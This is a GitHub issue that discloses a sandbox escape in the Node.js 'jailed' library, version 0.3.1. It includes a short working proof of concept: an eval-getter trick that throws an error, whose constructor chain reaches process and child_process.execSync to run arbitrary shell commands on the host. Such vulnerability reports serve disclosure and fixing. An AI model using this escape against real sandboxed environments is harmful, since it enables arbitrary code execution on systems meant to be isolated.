Skip to content

Sandbox Escape Bug in jailed with Node.js #63

@seongil-wi

Description

@seongil-wi
  • Jailed version: 0.3.1

  • Node version: 18.15.0

  • run-jailed.js

var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
  • test_case.js
try{ 
    this.__defineGetter__("x", eval);
    eval.toString = toLocaleString
    eval < x
 } catch(pp){
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
}

application.disconnect();

Sandbox can be escaped by three lines of code (Notice that each line of code is essential to triggering the bug.)
We can execute arbitrary shell code using process module.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions